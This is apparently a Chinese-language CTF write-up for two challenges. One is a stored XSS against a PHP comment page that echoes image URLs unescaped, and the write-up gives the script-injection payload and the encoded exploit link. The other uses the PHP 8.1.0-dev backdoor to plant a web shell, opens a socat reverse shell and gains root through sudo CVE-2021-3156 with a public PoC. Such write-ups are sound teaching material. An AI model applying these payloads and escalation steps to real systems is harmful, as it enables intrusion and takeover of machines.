门酱想玩什么呢?:
启动界面的<head>
标签里藏了提示
hint="nssctfroundSpring.php"
//nssctfroundSpring.php
<?php
highlight_file(__FILE__);
//部分关键代码
$contentLines = explode(" ", $comment['content']);
if (preg_match('/^https?:\/\/\S+$/', $contentLines[0])) {
if (preg_match('/^https?:\/\/[^\/]+\/\S+\.png$/', $contentLines[0], $matches) && end($contentLines) === '/png') {
$urlParts = parse_url($matches[0]);
if ($urlParts !== false) {
echo '<img class="content" src="' . $matches[0] . '">';
//.......
}
//......
}
//......
}
后面能用的
看完视频会跳转king.php
,这个页面就是一个xss
的检查界面,需要把门酱想玩的游戏提供给他。
这里有检测,必须是来自本站的链接
打开评论区,看完所有评论就知道门酱想玩元梦之星,要给他一个官网(https://ymzx.qq.com),并且能让他访问。
可以发表评论,并且可以带一张图片,经过尝试可以发现后端对图片链接没有处理,而对文字做了处理。
代码是这样的echo '<img class="content" src="' . $matches[0] . '">';
和上面的提示可以结合起来
空格作为分隔符,要有一个链接,图片链接部分以.png
结尾,并且要分隔一个/png
作为整个字符串的结尾
可以构造http://x/x.png"><script>alert(1);</script>.png /png
成功xss
最终payload:
http://x/x.png"><script>location.href="https://ymzx.qq.com/"</script>.png /png
构造链接
http://localhost/words/?title=JUU1JTg1JTgzJUU2JUEyJUE2JUU0JUI5JThCJUU2JTk4JTlG&content=aHR0cCUzQSUyRiUyRnglMkZ4LnBuZyUyMiUzRSUzQ3NjcmlwdCUzRWxvY2F0aW9uLmhyZWYlM0QlMjJodHRwcyUzQSUyRiUyRnltengucXEuY29tJTJGJTIyJTNDJTJGc2NyaXB0JTNFLnBuZyUyMCUyRnBuZw%3D%3D
给门酱
拿到flag
Becomeroot
flag在/root里面,php版本为8.1.0-dev,这个版本有一个后门事件
搜索hint可以拿到提示
搜一下就知道,然后通过后门写shell
蚁剑链接,然后提权
弹个交互shell
,我用的是socat
上传socat
并给权限
提权用到的是CVE-2021-3156
sudo
本地提权
涉及sudo
版本
sudo 1.8.2-1.8.31p2
sudo 1.9.0-1.9.5p1
查看版本
sudoedit -s Y
如果需要输入密码则存在漏洞
符合条件,可以直接用poc
打
https://github.com/CptGibbon/CVE-2021-3156
上传poc
,解压(socat
弹回shell
后php
会变得不可访问,需要先断开shell
然后用蚁剑上传后再弹一次。原因应该是题目没有用apache2
这种中间件而是直接php
启动服务)
make
然后./exploit
,即可拿到flag
Comments NOTHING